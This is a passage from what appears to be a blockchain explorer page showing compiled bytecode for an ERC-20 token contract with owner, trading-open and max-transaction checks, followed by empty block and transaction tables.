ffffffffffffffffffffffffff1684610ff7565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611eb7959493929190612eac565b5f604051808303815f87803b158015611ece575f80fd5b505af1158015611ee0573d5f803e3d5ffd5b50505050505b5f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f67573d5f803e3d5ffd5b5050565b5f808284611f799190612bf8565b905083811015611fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb590612f4e565b60405180910390fd5b8091505092915050565b5f61200983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a2b565b905092915050565b5f8083118290612057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204e91906120e2565b60405180910390fd5b505f83856120659190612835565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120b482612072565b6120be818561207c565b93506120ce81856020860161208c565b6120d78161209a565b840191505092915050565b5f6020820190508181035f8301526120fa81846120aa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61212f82612106565b9050919050565b61213f81612125565b8114612149575f80fd5b50565b5f8135905061215a81612136565b92915050565b5f819050919050565b61217281612160565b811461217c575f80fd5b50565b5f8135905061218d81612169565b92915050565b5f80604083850312156121a9576121a8612102565b5b5f6121b68582860161214c565b92505060206121c78582860161217f565b9150509250929050565b5f8115159050919050565b6121e5816121d1565b82525050565b5f6020820190506121fe5f8301846121dc565b92915050565b61220d81612160565b82525050565b5f6020820190506122265f830184612204565b92915050565b5f805f6060848603121561224357612242612102565b5b5f6122508682870161214c565b93505060206122618682870161214c565b92505060406122728682870161217f565b9150509250925092565b5f60ff82169050919050565b6122918161227c565b82525050565b5f6020820190506122aa5f830184612288565b92915050565b5f602082840312156122c5576122c4612102565b5b5f6122d28482850161214c565b91505092915050565b6122e481612125565b82525050565b5f6020820190506122fd5f8301846122db565b92915050565b5f806040838503121561231957612318612102565b5b5f6123268582860161214c565b92505060206123378582860161214c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156123c35780860481111561239f5761239e612341565b5b60018516156123ae5780820291505b80810290506123bc8561236e565b9450612383565b94509492505050565b5f826123db5760019050612496565b816123e8575f9050612496565b81600181146123fe576002811461240857612437565b6001915050612496565b60ff84111561241a57612419612341565b5b8360020a91508482111561243157612430612341565b5b50612496565b5060208310610133831016604e8410600b841016171561246c5782820a90508381111561246757612466612341565b5b612496565b612479848484600161237a565b925090508184048111156124905761248f612341565b5b81810290505b9392505050565b5f6124a782612160565b91506124b28361227c565b92506124df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123cc565b905092915050565b5f6124f182612160565b91506124fc83612160565b925082820261250a81612160565b9150828204841483151761252157612520612341565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61255c60208361207c565b915061256782612528565b602082019050919050565b5f6020820190508181035f83015261258981612550565b9050919050565b7f436f6e74726163742062616c616e6365206d75737420626520677265617465725f8201527f207468616e207a65726f00000000000000000000000000000000000000000000602082015250565b5f6125ea602a8361207c565b91506125f582612590565b604082019050919050565b5f6020820190508181035f830152612617816125de565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61267860248361207c565b91506126838261261e565b604082019050919050565b5f6020820190508181035f8301526126a58161266c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61270660228361207c565b9150612711826126ac565b604082019050919050565b5f6020820190508181035f830152612733816126fa565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61276e60178361207c565b91506127798261273a565b602082019050919050565b5f6020820190508181035f83015261279b81612762565b9050919050565b5f815190506127b081612136565b92915050565b5f602082840312156127cb576127ca612102565b5b5f6127d8848285016127a2565b91505092915050565b5f6040820190506127f45f8301856122db565b61280160208301846122db565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61283f82612160565b915061284a83612160565b92508261285a57612859612808565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61289161288c61288784612865565b61286e565b612160565b9050919050565b6128a181612877565b82525050565b5f60c0820190506128ba5f8301896122db565b6128c76020830188612204565b6128d46040830187612898565b6128e16060830186612898565b6128ee60808301856122db565b6128fb60a0830184612204565b979650505050505050565b5f8151905061291481612169565b92915050565b5f805f6060848603121561293157612930612102565b5b5f61293e86828701612906565b935050602061294f86828701612906565b925050604061296086828701612906565b9150509250925092565b5f60408201905061297d5f8301856122db565b61298a6020830184612204565b9392505050565b61299a816121d1565b81146129a4575f80fd5b50565b5f815190506129b581612991565b92915050565b5f602082840312156129d0576129cf612102565b5b5f6129dd848285016129a7565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a4060258361207c565b9150612a4b826129e6565b604082019050919050565b5f6020820190508181035f830152612a6d81612a34565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ace60238361207c565b9150612ad982612a74565b604082019050919050565b5f6020820190508181035f830152612afb81612ac2565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b5c60298361207c565b9150612b6782612b02565b604082019050919050565b5f6020820190508181035f830152612b8981612b50565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612bc460198361207c565b9150612bcf82612b90565b602082019050919050565b5f6020820190508181035f830152612bf181612bb8565b9050919050565b5f612c0282612160565b9150612c0d83612160565b9250828201905080821115612c2557612c24612341565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612c5f601a8361207c565b9150612c6a82612c2b565b602082019050919050565b5f6020820190508181035f830152612c8c81612c53565b9050919050565b5f612c9d82612160565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ccf57612cce612341565b5b600182019050919050565b5f612ce482612160565b9150612cef83612160565b9250828203905081811115612d0757612d06612341565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d6760218361207c565b9150612d7282612d0d565b604082019050919050565b5f6020820190508181035f830152612d9481612d5b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612e2781612125565b82525050565b5f612e388383612e1e565b60208301905092915050565b5f602082019050919050565b5f612e5a82612df5565b612e648185612dff565b9350612e6f83612e0f565b805f5b83811015612e9f578151612e868882612e2d565b9750612e9183612e44565b925050600181019050612e72565b5085935050505092915050565b5f60a082019050612ebf5f830188612204565b612ecc6020830187612898565b8181036040830152612ede8186612e50565b9050612eed60608301856122db565b612efa6080830184612204565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612f38601b8361207c565b9150612f4382612f04565b602082019050919050565b5f6020820190508181035f830152612f6581612f2c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b0ed367029ca53eadc14d8766990123e320a4d7970834c6d1c7b27d84d5d6b164736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.